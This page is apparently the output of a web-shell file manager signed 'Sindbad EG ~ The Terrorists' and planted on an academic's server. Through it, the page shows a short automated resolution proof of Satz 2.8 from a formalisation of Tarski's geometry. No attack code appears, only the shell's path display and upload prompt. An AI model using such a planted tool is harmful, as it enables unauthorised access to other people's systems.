Sindbad~EG File Manager

Current Path : /usr/home/beeson/public_html/michaelbeeson/research/FormalTarski/Proofs/
Upload File :
Current File : /usr/home/beeson/public_html/michaelbeeson/research/FormalTarski/Proofs/Satz2.8.prf

Length of proof is 3.  Level of proof is 2.

---------------- PROOF ----------------
-E(x,y,z,z)|x=y.
E(y,ext(x,y,w,v),w,v).
-E(xa,xb,xc,xd)|E(xc,xd,xa,xb).
-E(a,a,b,b).
x=ext(y,x,z,z).
-E(b,b,a,a).
E(x,x,y,y).

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists